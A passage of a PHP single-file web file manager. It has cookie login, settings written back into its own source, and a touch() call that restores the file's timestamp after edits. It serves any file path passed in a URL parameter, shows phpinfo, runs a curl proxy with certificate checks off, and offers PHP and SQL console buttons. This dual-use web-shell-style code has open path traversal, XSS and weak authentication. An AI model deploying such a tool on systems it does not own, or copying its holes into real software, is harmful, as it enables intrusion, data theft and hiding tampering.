	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//как-то тоже подменять надо
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

function find_text_in_files($dir, $mask, $text) {
    $results = array();
    if ($handle = opendir($dir)) {
        while (false !== ($entry = readdir($handle))) {
            if ($entry != "." && $entry != "..") {
                $path = $dir . "/" . $entry;
                if (is_dir($path)) {
                    $results = array_merge($results, find_text_in_files($path, $mask, $text));
                } else {
                    if (fnmatch($mask, $entry)) {
                        $contents = file_get_contents($path);
                        if (strpos($contents, $text) !== false) {
                            $results[] = str_replace('//', '/', $path);
                        }
                    }
                }
            }
        }
        closedir($handle);
    }
    return $results;
}


/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg_ntimes = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg_ntimes .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg_ntimes .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg_ntimes .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg_ntimes .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg_ntimes .= __('File updated');
				} else $msg_ntimes .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg_ntimes .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title>FileXXXXXXXXXXX</title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover {  color: #FFA34F; text-decoration: underline; }

table.bg {
	background-color: #ACBBC6
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	#006699;
	color:				#FFA34F;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	#EFEFEF;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#D1D7DC;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	#F0F6F6;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,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");
}

.file {
    background-image: url("data:image/png;base64,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